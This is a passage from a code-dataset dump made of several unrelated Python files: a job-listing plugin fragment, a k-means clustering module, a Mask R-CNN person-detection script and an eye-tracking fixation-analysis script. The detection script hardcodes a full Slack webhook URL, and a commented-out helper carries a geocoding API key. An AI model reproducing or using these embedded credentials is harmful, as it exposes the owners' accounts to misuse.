\"ename\":data_instance.dict[\"ename\"],\r\n \"eid\":data_instance.dict[\"eid\"],\r\n \"ref_id\":data_instance.dict[\"_id\"],\r\n \"items\":[{\r\n \"field\":\"jobs\",\r\n \"before\":\"\",\r\n \"after\":json.dumps(jobs_item,cls=CustomerJsonEncoder),\r\n \"desc\":\"新增招聘信息\"\r\n }],\r\n \"last_updated_time\":datetime.datetime.utcnow(),\r\n \"created_time\":datetime.datetime.utcnow(),\r\n \"info_type\":23,\r\n # \"date\":data_instance.dict[\"date\"],\r\n #\"date\":datetime.datetime.utcnow(),\r\n \"date\":datetime.datetime.strptime(CommonUtils.format_date(jobs_item[\"date\"],\"%Y-%m-%d\"), \"%Y-%m-%d\"),\r\n \"ops_flag\":0\r\n }\r\n change_items.append(item)\r\n return change_items\r\n","sub_path":"source/dumps_src/BaiduZhaoPin/BaiduZhaoPinPlugin02.py","file_name":"BaiduZhaoPinPlugin02.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"399007484","text":"# -*- coding: utf-8 -*-\nimport numpy as np\n\ndef loadDataSet(fileName):\n dataMat = []\n fr = open(fileName)\n for line in fr.readlines():\n curLine = line.strip().split('\\t')\n fitLine = list(map(np.float, curLine))\n dataMat.append(fitLine)\n return dataMat\n\n\n# 计算欧式距离\ndef distEclud(vecA, vecB):\n return np.sqrt(np.sum(np.power(vecA - vecB, 2)))\n\n\ndef randCent(dataSet, k):\n # 列,相当于数据集中数据点维度\n n = np.shape(dataSet)[1]\n # 质心矩阵\n centroids = np.mat(np.zeros((k, n)))\n for j in range(n):\n minJ = np.min(dataSet[:, j])\n rangeJ = np.float(np.max(dataSet[:, j]) - minJ)\n centroids[:, j] = np.mat(minJ + rangeJ * np.random.rand(k, 1))\n return centroids\n\n\ndef kMeans(dataSet, k, distMeas=distEclud, createCent=randCent):\n \"\"\"\n\n :param dataSet: dataSet\n :param k: the number of clusters\n :param distMeas: (optional) a function to use as the distance metric\n :param createCent: (optional) a function to create the initial centroids\n :return: centroids and cluster assignments\n \"\"\"\n # 数据点个数\n m = np.shape(dataSet)[0]\n # 第一列存放簇的索引值,第二列存放误差,误差是当前点到质心的距离\n clusterAssment = np.mat(np.zeros((m, 2)))\n centroids = createCent(dataSet, k)\n clusterChanged = True\n while clusterChanged:# 直到没有点的簇更新了就退出循环\n clusterChanged = False\n for i in range(m):\n minDist = np.inf\n minIndex = -1\n for j in range(k):# 寻找与其距离最近的质心\n distJI = distMeas(centroids[j, :], dataSet[i, :])\n if distJI < minDist:\n minDist = distJI\n minIndex = j\n if clusterAssment[i, 0] != minIndex:\n clusterChanged = True\n clusterAssment[i, :] = minIndex, minDist**2\n # print(centroids)\n # 重新计算质心\n for cent in range(k):#recalculate centroids\n ptsInClust = dataSet[np.nonzero(clusterAssment[:, 0].A == cent)[0]]#get all the point in this cluster\n centroids[cent, :] = np.mean(ptsInClust, axis=0) #assign centroid to mean\n return centroids, clusterAssment\n\n\ndef biKmeans(dataSet, k, distMeas=distEclud):\n m = np.shape(dataSet)[0]\n clusterAssment = np.mat(np.zeros((m, 2)))\n # 整个数据集当成一个簇,计算其质心\n centroid0 = np.mean(dataSet, axis=0).tolist()[0]\n # 创建只有一个质心的列表\n centList = [centroid0]\n for j in range(m):#calc initial Error\n clusterAssment[j, 1] = distMeas(np.mat(centroid0), dataSet[j, :])**2\n while (len(centList) < k):\n # SSE (Sum of Squared Error,误差平方和)\n lowestSSE = np.inf\n for i in range(len(centList)):\n # 取得在当前簇中的所有数据点\n ptsInCurrCluster = dataSet[np.nonzero(clusterAssment[:, 0].A == i)[0], :]\n centroidMat, splitClustAss = kMeans(ptsInCurrCluster, 2, distMeas)\n print(centroidMat)\n sseSplit = sum(splitClustAss[:, 1])#compare the SSE to the currrent minimum\n sseNotSplit = sum(clusterAssment[np.nonzero(clusterAssment[:, 0].A != i)[0], 1])\n print(\"sseSplit, and notSplit: \", sseSplit, sseNotSplit)\n if (sseSplit + sseNotSplit) < lowestSSE:\n bestCentToSplit = i\n bestNewCents = centroidMat\n bestClustAss = splitClustAss.copy()\n lowestSSE = sseSplit + sseNotSplit\n # 上面应用簇为2的分类得到的index有0和1,要改成新的\n bestClustAss[np.nonzero(bestClustAss[:, 0].A == 1)[0], 0] = len(centList)\n bestClustAss[np.nonzero(bestClustAss[:, 0].A == 0)[0], 0] = bestCentToSplit\n print('the bestCentToSplit is: ', bestCentToSplit)\n print('the len of bestClustAss is: ', len(bestClustAss))\n centList[bestCentToSplit] = bestNewCents[0, :].tolist()[0]\n centList.append(bestNewCents[1, :].tolist()[0])\n # 赋予新的误差\n clusterAssment[np.nonzero(clusterAssment[:, 0].A == bestCentToSplit)[0], :] = bestClustAss\n return np.mat(centList), clusterAssment\n\n\n# import urllib\n# import json\n# def geoGrab(stAddress, city):\n# apiStem = 'http://where.yahooapis.com/geocode?' #create a dict and constants for the goecoder\n# params = {}\n# params['flags'] = 'J'#JSON return type\n# params['appid'] = 'aaa0VN6k'\n# params['location'] = '%s %s' % (stAddress, city)\n# url_params = urllib.parse.urlencode(params)\n# yahooApi = apiStem + url_params #print url_params\n# print(yahooApi)\n# c = urllib.request.urlopen(yahooApi)\n# return json.loads(c.read())\n#\n#\n# from time import sleep\n# def massPlaceFind(fileName):\n# fw = open('places.txt', 'w')\n# for line in open(fileName).readlines():\n# line = line.strip()\n# lineArr = line.split('\\t')\n# retDict = geoGrab(lineArr[1], lineArr[2])\n# if retDict['ResultSet']['Error'] == 0:\n# lat = float(retDict['ResultSet']['Results'][0]['latitude'])\n# lng = float(retDict['ResultSet']['Results'][0]['longitude'])\n# print(\"%s\\t%f\\t%f\" % (lineArr[0], lat, lng))\n# fw.write('%s\\t%f\\t%f\\n' % (line, lat, lng))\n# else:\n# print(\"error fetching\")\n# sleep(1)\n# fw.close()\n","sub_path":"ch10/kMeans.py","file_name":"kMeans.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"325718413","text":"import os\nimport sys\nimport random\nimport math\nimport numpy as np\nimport skimage.io\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport glob\nimport time\nimport cv2\n\nimport requests\nimport json\nfrom datetime import datetime\n\n# Root directory of the project\ncamera_id = sys.argv[1]\nrec_id = sys.argv[2]\n\nROOT_DIR = os.path.abspath(\"../\")\n\n# Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\n# Import COCO config\nsys.path.append(os.path.join(ROOT_DIR, \"samples/coco/\")) # To find local version\nimport coco\n\n#%matplotlib inline\n#from IPython import get_ipython\n#get_ipython().run_line_magic('matplotlib', 'inline')\n\n# Directory to save logs and trained model\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs\")\n\n# Local path to trained weights file\nCOCO_MODEL_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\n# Download COCO trained weights from Releases if needed\nif not os.path.exists(COCO_MODEL_PATH):\n utils.download_trained_weights(COCO_MODEL_PATH)\n\n# Directory of images to run detection on\n#IMAGE_DIR = '/home/dmitriy.khvan/ffmpeg-img/'\nIMAGE_DIR = '/mnt/bepro-data/data/%s/img1/' % (rec_id)\nMASK_PATH = '/mnt/bepro-data/data/%s/mask.jpg' % (rec_id)\n\nclass InferenceConfig(coco.CocoConfig):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n BATCH_SIZE = GPU_COUNT * IMAGES_PER_GPU\n #NUM_CLASSES = 2\n\nconfig = InferenceConfig()\nconfig.display()\n\n# Create model object in inference mode.\nmodel = modellib.MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR, config=config)\n\n# Load weights trained on MS-COCO\nmodel.load_weights(COCO_MODEL_PATH, by_name=True)\n\n# COCO Class names\n# Index of the class in the list is its ID. For example, to get ID of\n# the teddy bear class, use: class_names.index('teddy bear')\nclass_names = ['BG', 'person', 'bicycle', 'car', 'motorcycle', 'airplane',\n 'bus', 'train', 'truck', 'boat', 'traffic light',\n 'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird',\n 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear',\n 'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie',\n 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\n 'kite', 'baseball bat', 'baseball glove', 'skateboard',\n 'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup',\n 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple',\n 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed',\n 'dining table', 'toilet', 'tv', 'laptop', 'mouse', 'remote',\n 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster',\n 'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors',\n 'teddy bear', 'hair drier', 'toothbrush']\n\nnow = datetime.now()\ndate_time = now.strftime(\"%m%d%Y_%H%M%S\")\nlog_filename = '/home/dmitriy.khvan/mrcnn-gcp/samples/dump/tmp/det_%s_%s.txt' % (date_time, camera_id)\n\nwebhook_url = 'https://hooks.slack.com/services/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'\n\nlog_file = open(log_filename, 'w')\n\n#results.append({\n# \"rois\": final_rois,\n# \"class_ids\": final_class_ids,\n# \"scores\": final_scores,\n# \"masks\": final_masks,\n#})\n\nprint ('Processing recording id: ' + rec_id)\nprint ('Path to image folder: ' + IMAGE_DIR)\n\nmask = cv2.imread(MASK_PATH)\n\nh = mask.shape[0]\nw = mask.shape[1]\n\nfor y in range(0, h):\n for x in range(0, w):\n if mask[y,x,0] == 0 and mask[y,x,1] == 0 and mask[y,x,2] == 0:\n continue\n else:\n mask[y,x,0] = 255\n mask[y,x,1] = 255\n mask[y,x,2] = 255\n\nstart_process = time.time()\n\nfirst_frame = sorted(glob.glob(os.path.join(IMAGE_DIR,'*.jpg')),key=os.path.getmtime)[0]\nline = first_frame.split('/')\nstart_frame_idx = line[-1][0:5]\nprint('[INFO] start frame number: ' + start_frame_idx)\n\nfor num, filename in enumerate(sorted(glob.glob(os.path.join(IMAGE_DIR,'*.jpg')),key=os.path.getmtime)):\n start = time.time() \n\n image = skimage.io.imread(filename)\n image = cv2.bitwise_and(image, mask)\n\n results = model.detect([image], verbose=0)\n r = results[0]\n \n class_id = r['class_ids']\n det_score = r['scores']\n\n is_dump = (num % 250 == 0) \n\n dump_path = \"/home/dmitriy.khvan/mrcnn-gcp/samples/dump/tmp/dump-%06d.jpg\" %(num+int(start_frame_idx))\n N = r['rois'].shape[0]\n\n if is_dump:\n d_image = skimage.io.imread(filename)\n\n for i in range(N):\n # if not person class\n if class_id[i] != 1:\n continue\n\n y1, x1, y2, x2 = r['rois'][i]\n\n # height threshold\n if (y2-y1) <= 35:\n continue\n\n log_file.write(str(num+int(start_frame_idx))+\",\"+str(x1)+\",\"+str(y1)+\",\"+str(x2)+\",\"+str(y2)+','+str(det_score[i])+\"\\n\") \n\n if is_dump:\n cv2.rectangle(d_image, (x1, y1), (x2, y2), (255,0,0), 2)\n \n if is_dump:\n cv2.imwrite(dump_path,cv2.cvtColor(d_image, cv2.COLOR_RGB2BGR)) \n \n #https://stackoverflow.com/questions/19756329/can-i-save-a-text-file-in-python-without-closing-it\n log_file.flush()\n # typically the above line would do. however this is used to ensure that the file is written\n os.fsync(log_file.fileno()) \n\n slack_msg3 = {'text': 'frame: ' + str(num) + ' dumped: ' + dump_path}\n requests.post(webhook_url, json.dumps(slack_msg3)) \n\n end = time.time()\n slack_msg1 = {'text': 'processing input: ' + filename + '-' +str(camera_id)}\n slack_msg2 = {'text': 'processing time per frame: ' + str(end-start) + ' s.'} \n \n if num % 100 == 0:\n requests.post(webhook_url, json.dumps(slack_msg1)) \n requests.post(webhook_url, json.dumps(slack_msg2)) \n# print('processing input: ' + filename + '-' +str(camera_id))\n# print('processing time per frame: ' + str(end-start) + ' s.')\n\n\nlog_file.close()\nend_process = time.time()\n\nslack_msg4 = {'text': 'detection finished at frame : ' + str(num) + ' .Check results!'}\nrequests.post(webhook_url, json.dumps(slack_msg4)) \n\nslack_msg5 = {'text': 'Total processing time : ' + str(end_process - start_process) + ' .s'}\nrequests.post(webhook_url, json.dumps(slack_msg5)) \n\n#print('detection finished at frame : ' + str(num) + ' .Check results!')\n\n","sub_path":"samples/demo_run.py","file_name":"demo_run.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"295099277","text":"import pickle\nimport pandas as pd\nimport pickle\n\nfrom os.path import isfile, join\nfrom os import listdir\nimport os\nfrom pprint import pprint\nfrom copy import deepcopy\nimport statistics as stat\nfrom random import random\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy import stats\nfrom sklearn.metrics import accuracy_score\nfrom matplotlib.colors import LogNorm\nfrom cili.util import *\nfrom cili.cleanup import *\nfrom make_excel import make_excel\nfrom tqdm import tqdm\n\nIA_path = 'C:\\\\Users\\\\paulc\\PycharmProjects\\EmoRage\\InterestArea_FGBG_Relmem\\\\'\nIA_path = 'C:\\\\Users\\\\paulc\\PycharmProjects\\EmoRage\\IAs_with_BG_IA\\\\'\nASC_path = 'ASC\\\\'\n\n\ntest_one = False\nplot_interest_map = False\nblinks_equal_previous = True\neyetrack_polar = True\npolar_n = [2, 4, 8, 32]\neyetrack_cartesian = False\nhelpful_prints = False\n\nimage_pixels_x = 800\nimage_pixels_y = 640#\ntick_size = 20\narbitrary_shift_fraction = 0.5\narbitrary_shift = tick_size * arbitrary_shift_fraction\nchunk_time = 100 # in ms\n\nnaming_token = 'E'\n\nsubject_numbers = []\nif not test_one:\n for i in range(12, 41):\n subject_numbers.append(i)\nelse:\n subject_numbers.append(12)\n subject_numbers.append(13)\nsubjects = {}\nfrequency = 1000 # eye-tracking hz\nlength_of_emotional_presentation = 4 # in seconds\ndelete_dicts = True\n\ndef z_standardize_var(STUDY_TEST, key='mean_pupil_size'):\n print('Z_standardize:', key)\n for subject_number, subject in STUDY_TEST.items():\n subj_vals = []\n for trial in subject.values():\n if key in trial:\n subj_vals.append(trial[key])\n if len(subj_vals) == 0:\n print('ERROR #40 - subj_vals has length 0 for subject:', subject, 'key:', key)\n continue\n subj_mean = stat.mean(subj_vals)\n subj_std = stat.stdev(subj_vals)\n for trial in subject.values():\n if key in trial:\n trial['z_' + key] = (trial[key] - subj_mean)/subj_std\n\ndef add_false_alarm_stats(STUDY_TEST):\n FA_dict = {}\n df = pd.read_excel('EyeTrack_Rel\\\\FA_stats.xlsx')\n for index, row in df.iterrows():\n row_sess = str(row['Subject'])[-2:]\n FA_dict[row_sess] = {'emo' : {'remember': row['FalseAlarm_R_Emo'],\n 'know': row['FalseAlarm_K_Emo']},\n 'neu': {'remember': row['FalseAlarm_R_Neu'],\n 'know': row['FalseAlarm_K_Neu']},\n }\n FA_dict[row_sess]['emo']['hit'] = FA_dict[row_sess]['emo']['remember'] + \\\n FA_dict[row_sess]['emo']['know']\n FA_dict[row_sess]['neu']['hit'] = FA_dict[row_sess]['neu']['remember'] + \\\n FA_dict[row_sess]['neu']['know']\n for subject_number_, subject in STUDY_TEST.items():\n subject_number = subject_number_[-2:]\n if subject_number[-2:] not in FA_dict:\n print('subject_number not in FA_dict:', subject_number)\n continue\n for trial in subject.values():\n emotionality = trial['emotionality']\n if 'know_bool' in trial:\n know_bool = trial['know_bool']\n trial['know_bool_FA'] = know_bool - FA_dict[subject_number][emotionality]['know']\n if 'remember_bool' in trial:\n remember_bool = trial['remember_bool']\n trial['remember_bool_FA'] = remember_bool - FA_dict[subject_number][emotionality]['remember']\n if 'hit_bool' in trial:\n hit_bool = trial['hit_bool']\n trial['hit_bool_FA']= hit_bool - FA_dict[subject_number][emotionality]['hit']\n\ndef add_FG_IA_to_FV(STUDY_TEST):\n df = pd.read_excel('SONA_FreeViewing_IAReport_n34.xlsx')\n for index, row in df.iterrows():\n row_sess = str(row['RECORDING_SESSION_LABEL'])\n\n\n\ndef add_samples_excel(STUDY_TEST, timecourse_xl):\n def get_distractor_to_trial_number_dict():\n map_ = {}\n for subject in STUDY_TEST.values():\n for trial_number in subject:\n trial = subject[trial_number]\n map_[trial['Distractor']] = trial_number\n return map_\n\n file = open('IAs_with_BG_IA\\\\rectangle_freehand_IA_dict.pkl', 'rb')\n freehand_and_rectangle_IA_dict = pickle.load(file)\n file.close()\n freehand_IA_dict = freehand_and_rectangle_IA_dict['freehand']\n rectangle_IA_dict = freehand_and_rectangle_IA_dict['rectangle']\n\n # Subject rm_0010 seems to have >80% of their trials as blinks\n\n print('Importing:', timecourse_xl)\n if isfile(timecourse_xl[:-4] + 'pkl') and 'FV' not in timecourse_xl:\n df = pickle.load(open(timecourse_xl[:-4] + 'pkl', 'rb'))\n else:\n df = pd.read_excel(timecourse_xl)\n with open(timecourse_xl[:-4] + 'pkl', 'wb') as file:\n pickle.dump(df, file)\n\n sess_not_in = {}\n prev_sample = None\n prev_row_sess = None\n sames = 0\n difs = 0\n blink_difs = 0\n boost = 0\n prev_trial = 0\n map_to_number = get_distractor_to_trial_number_dict()\n if True:\n for index, row in df.iterrows():\n row_sess = str(row['RECORDING_SESSION_LABEL'])\n if row_sess != prev_row_sess:\n print('Prev ses:', prev_row_sess)\n print('sames:', sames)\n print('difs:', difs)\n print('blink difs:', blink_difs)\n print()\n sames = 0\n difs = 0\n blink_difs = 0\n boost = 0\n prev_row_sess = row_sess\n if row_sess not in STUDY_TEST:\n if row_sess not in sess_not_in:\n print('Session', row_sess,'is not in STUDY_TEST')\n sess_not_in[row_sess] = None\n row_trial = int(row['TRIAL_LABEL'].split(' ')[1])\n if row_trial < 5:\n continue\n if 'FV' in timecourse_xl:\n if row_trial < 8:\n continue\n row_trial = map_to_number[row['picture']]\n\n\n row_trial = row_trial - 7\n\n row_trial -= boost\n if row_trial > prev_trial:\n if row_trial > prev_trial + 1:\n row_trial -= 1\n boost += 1\n prev_trial = row_trial\n\n if row_trial not in STUDY_TEST[row_sess]:\n if row_trial > 5:\n print('ERROR #52 - Row:', row_trial,'is not in', row_sess)\n continue\n trial = STUDY_TEST[row_sess][row_trial]\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n\n if 'Distractor' not in trial:\n print('ERROR #65')\n continue\n\n if 'samples' not in trial:\n trial['samples'] = []\n\n sample = {'x': row['LEFT_GAZE_X_BIN'], 'y': row['LEFT_GAZE_Y_BIN']}\n if sample['x'] == '.':\n if sample['y'] != '.':\n print('ERROR #51 - LEFT_GAZE_X_BIN is \\'.\\' but LEFT_GAZE_Y_BIN is not for excel row:', index)\n sample['is_blink'] = True\n else:\n sample['is_blink'] = False\n\n trial['IA'] = trial['Distractor'][:-4] + '.ias'\n IA_file = trial['IA']\n freehand_IA_ars = freehand_IA_dict[IA_file]\n rectangle_IA_ar = rectangle_IA_dict[IA_file]\n if not sample['is_blink']:\n is_in = is_point_in_IA(sample, freehand_IA_ars, rectangle=rectangle_IA_ar)\n is_in_BG = is_point_in_IA(sample, rectangle_IA_ar, rectangle=None)\n else:\n sample = deepcopy(prev_sample)\n sample['is_blink'] = True # This causes some noise/tiny bugs, it is possible that\n # prev samples from previous subjects and trials are being deepcopied\n # by setting is_blink to true then at least i can exclude these samples as needed\n\n sample['in_FG'] = is_in\n sample['in_BG'] = is_in_BG\n sample['FG_propo'] = row['LEFT_IA_1_SAMPLE_COUNT_%'] + row['LEFT_IA_2_SAMPLE_COUNT_%']\n trial['samples'].append(sample)\n\n if (is_in and row['LEFT_IA_0_SAMPLE_COUNT_%'] < 1) or (not is_in and row['LEFT_IA_0_SAMPLE_COUNT_%'] > 0):\n sames += 1\n else:\n if sample['is_blink']:\n blink_difs += 1\n else:\n difs += 1\n prev_sample = sample\n for subject_number, subject in STUDY_TEST.items():\n for trial in subject.values():\n num_in_FG = 0\n num_in_BG = 0\n num_in_BG_not_FG = 0\n num_out = 0\n total = 0\n FG_propos = []\n if 'samples' not in trial:\n print('BAD MEME')\n continue\n for sample in trial['samples']:\n if 'FG_propo' not in sample:\n print('WHY GOD SO BAD')\n continue\n FG_propos.append(sample['FG_propo'])\n total += 1\n if sample['in_FG']:\n num_in_FG += 1\n elif sample['in_BG']:\n num_in_BG_not_FG += 1\n if sample['in_BG']:\n num_in_BG += 1\n else:\n num_out += 1\n\n if len(FG_propos) < 50:\n trial['FG_time'] = None\n trial['FG_BG_time'] = None\n trial['BG_time'] = None\n trial['out_time'] = None\n trial['FG_propos'] = None\n else:\n print('Working....')\n trial['FG_time'] = num_in_FG / total\n trial['FG_BG_time'] = num_in_BG / total\n trial['BG_time'] = num_in_BG_not_FG / total\n trial['out_time'] = num_out / total\n trial['FG_propos'] = stat.mean(FG_propos)\n print('subject number:', subject_number)\n print(trial['Distractor'])\n print('FG propo:', trial['FG_propos'])\n print()\n\ndef clear_prev_values(STUDY_TEST, key):\n for subject in STUDY_TEST.values(): # previous values must be cleared\n for trial in subject.values():\n if key in trial:\n trial.pop(key)\n\ndef get_rectangle_length_height(rectangle_ars, diag=False):\n length = rectangle_ars[1][0] - rectangle_ars[0][0]\n height = rectangle_ars[2][1] - rectangle_ars[1][1]\n if diag:\n return length, height, math.sqrt(length**2 + height**2)\n else:\n return length, height\n # with SK these aren't always perfect rectangles if they were made using FREEHAND\n\ndef get_session_label(row, report_path):\n if 'SK0' in str(row['RECORDING_SESSION_LABEL']) or 'SK' not in report_path:\n # this if statement needs to be here because SK0608 has\n # a row value of 'SK0608' but everyone else just has a\n # three digit number in SK.\n # FA/FV don't have this issue\n session_number = str(row['RECORDING_SESSION_LABEL'])\n else:\n if str(row['RECORDING_SESSION_LABEL']) == '5032' or str(row['RECORDING_SESSION_LABEL']) == '6052':\n # these two subjects, SK0503 and SK0605 have an extra 2 on them?\n session_number = 'SK0' + str(row['RECORDING_SESSION_LABEL'])[:-1]\n else:\n session_number = 'SK0' + str(row['RECORDING_SESSION_LABEL'])\n return session_number\n\n\n\ndef get_duration_details(trial_fixations, rectangle_ars, FG_ars, dur_mod = 0):\n if len(trial_fixations) < 2 or len(trial_fixations) > 40:\n return None, None, None, None, None, None\n durs = []\n durs_FG = []\n durs_BG = []\n for i in range(1, len(trial_fixations)):\n if not is_point_in_IA(trial_fixations[i], rectangle_ars):\n continue\n if trial_fixations[i]['duration'] - dur_mod < 0:\n continue\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n durs_FG.append(trial_fixations[i]['duration'] - dur_mod)\n else:\n durs_BG.append(trial_fixations[i]['duration'] - dur_mod)\n durs.append(trial_fixations[i]['duration'] - dur_mod)\n\n if len(durs) == 0:\n return None, None, None, None, None, None\n mean_durs = stat.mean(durs)\n sum_durs = sum(durs)\n\n if len(durs_FG) == 0:\n mean_durs_FG = None\n else:\n mean_durs_FG = stat.mean(durs_FG)\n sum_durs_FG = sum(durs_FG)\n\n if len(durs_BG) == 0:\n mean_durs_BG = None\n else:\n mean_durs_BG = stat.mean(durs_BG)\n sum_durs_BG = sum(durs_BG)\n return mean_durs, sum_durs, mean_durs_FG, sum_durs_FG, mean_durs_BG, sum_durs_BG\n\ndef count_number_flips(trial_fixations, rectangle_ars, FG_ars):\n if len(trial_fixations) <= 2 or len(trial_fixations) > 40:\n return None, None, None\n last_in_FG = None\n num_to_FG = 0\n num_to_BG = 0\n num_flips = 0\n for i in range(0, len(trial_fixations)):\n if not is_point_in_IA(trial_fixations[i], rectangle_ars):\n continue\n if last_in_FG is None:\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n last_in_FG = True\n elif is_point_in_IA(trial_fixations[i], rectangle_ars):\n last_in_FG = False\n continue\n if last_in_FG and is_point_in_IA(trial_fixations[i], rectangle_ars) and not is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n # if previous was in FG and the current is in BG but not in FG\n last_in_FG = False\n num_to_BG += 1\n num_flips += 1\n elif not last_in_FG and is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n # if previous was not in FG and current is FG (and thus also in BG)\n num_to_FG += 1\n num_flips += 1\n return num_to_FG, num_to_BG, num_flips\n\ndef add_fixations_excel(STUDY_TEST, fix_report_path):\n def get_distance(point1, point2, power_of=1): # cooper et al. 2017 used mean distance between all points to calculate interfix-d\n x1 = point1['x']\n y1 = point1['y']\n x2 = point2['x']\n y2 = point2['y']\n dist = math.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2)\n return dist ** power_of\n def get_interfixation_distance(trial_fixations, rectangle_ars, FG_ars = None, BG=False):\n if len(trial_fixations) <= 2:\n return None, True, None\n if len(trial_fixations) > 40: # subject SK0454 trial 16 has a bug.\n # Trial 16 has 4041 fixations in it on the .xlsx.\n # It seems like all the fixations for all the future trials in this subject got\n # combined into trial 16, as after these 4041 fixations the .xlsx skips right to\n # the next subject.\n # This maybe happens more. It seems like this error get called 6 times\n # EDIT: this bug is also found in SK0449 in trials 39, 58, 77 but the rest of\n # the subject's trials still seem to work.\n # Subject 418 has issues with like 4 trials, and SK0605 with trial 39.\n # SK0503 with trial 56. Maybe more. These mostly are issues over 100,\n # but I lowered the threshold to 40 after this, and I didn't want to go through\n # the problematic (>40) subjects and trials\n print('ERROR #66 - session', session_number,', trial #', trial_number, 'has', len(trial_fixations),\n 'fixations in it.')\n return None, True, \"\"\n sum_d = 0\n Z = 0\n cnt = 0\n entirely_within = True\n for i in range(1, len(trial_fixations)): # Alejandro and Simona recommended skipping the first fixation\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and FG_ars is None:\n cnt += 1\n if FG_ars is not None and not BG:\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n cnt += 1\n if FG_ars and BG:\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and \\\n not is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n cnt += 1\n for j in range(i + 1, len(trial_fixations)):\n if FG_ars is not None:\n if BG:\n if not is_point_in_IA(trial_fixations[j], rectangle_ars):\n entirely_within = False\n continue\n if not is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars) \\\n and not is_point_in_IA(trial_fixations[j], FG_ars, rectangle=rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[j])\n Z += 1\n else:\n entirely_within = False # Entirely within ignores the first fixation\n else:\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars) \\\n and is_point_in_IA(trial_fixations[j], FG_ars, rectangle=rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[j])\n Z += 1\n else:\n entirely_within = False\n else:\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and is_point_in_IA(trial_fixations[j], rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[j])\n Z += 1\n else:\n entirely_within = False # entirely within describes whether the subjects' entire scan path was\n # within the image (ie. within the rectangle IA)\n if Z == 0:\n return None, entirely_within, cnt\n else:\n return sum_d / Z, entirely_within, cnt\n\n\n def get_distance_seq(trial_fixations, rectangle_ars):\n if len(trial_fixations) < 2 or len(trial_fixations) > 40:\n return None, True\n\n sum_d = 0\n Z = 0\n entirely_within = True\n\n for i in range(1, len(trial_fixations)-1):\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and is_point_in_IA(trial_fixations[i+1], rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[i+1])\n Z += 1\n else:\n entirely_within = False\n if Z == 0:\n return None, entirely_within\n else:\n\n return sum_d / Z, entirely_within\n\n\n if isfile(fix_report_path[:-4] + 'pkl'):\n df = pickle.load(open(fix_report_path[:-4] + 'pkl', 'rb'))\n else:\n df = pd.read_excel(fix_report_path)\n with open(fix_report_path[:-4] + 'pkl', 'wb') as file:\n pickle.dump(df, file)\n\n clear_prev_values(STUDY_TEST, 'fixations_xl')\n for index, row in df.iterrows():\n session_number = get_session_label(row, fix_report_path)\n trial_number = row['TRIAL_INDEX']\n if trial_number < 5:\n continue\n if session_number not in STUDY_TEST:\n continue\n if trial_number not in STUDY_TEST[session_number]:\n continue\n\n\n trial = STUDY_TEST[session_number][trial_number]\n\n if row['CURRENT_FIX_INTEREST_AREA_LABEL'].replace('_BG', '').replace('IA','') not in trial['Distractor']:\n print(fix_report_path)\n print('Not aligned:', row['CURRENT_FIX_INTEREST_AREA_LABEL'])\n print('st:', trial['Distractor'])\n print(session_number)\n print(trial_number)\n print()\n fixation = {'x': row['CURRENT_FIX_X'], 'y': row['CURRENT_FIX_Y'], 'pupil_size': row['CURRENT_FIX_PUPIL'],\n 'duration': row['CURRENT_FIX_DURATION']}\n if 'fixations_xl' not in trial:\n trial['fixations_xl'] = []\n trial['fixations_xl'].append(fixation)\n if 'SK' in fix_report_path:\n is_sk = 'SK_'\n else:\n is_sk = ''\n file = open('IAs_with_BG_IA\\\\' + is_sk + 'rectangle_freehand_IA_dict.pkl', 'rb')\n freehand_and_rectangle_IA_dict = pickle.load(file)\n file.close()\n rectangle_IA_dict = freehand_and_rectangle_IA_dict['rectangle']\n freehand_IA_dict = freehand_and_rectangle_IA_dict['freehand']\n for session_number in STUDY_TEST:\n for trial_number, trial in STUDY_TEST[session_number].items():\n if 'fixations_xl' not in trial:\n continue\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n trial['IA'] = trial['IA'].replace('_Item', '')\n length, height, diag = 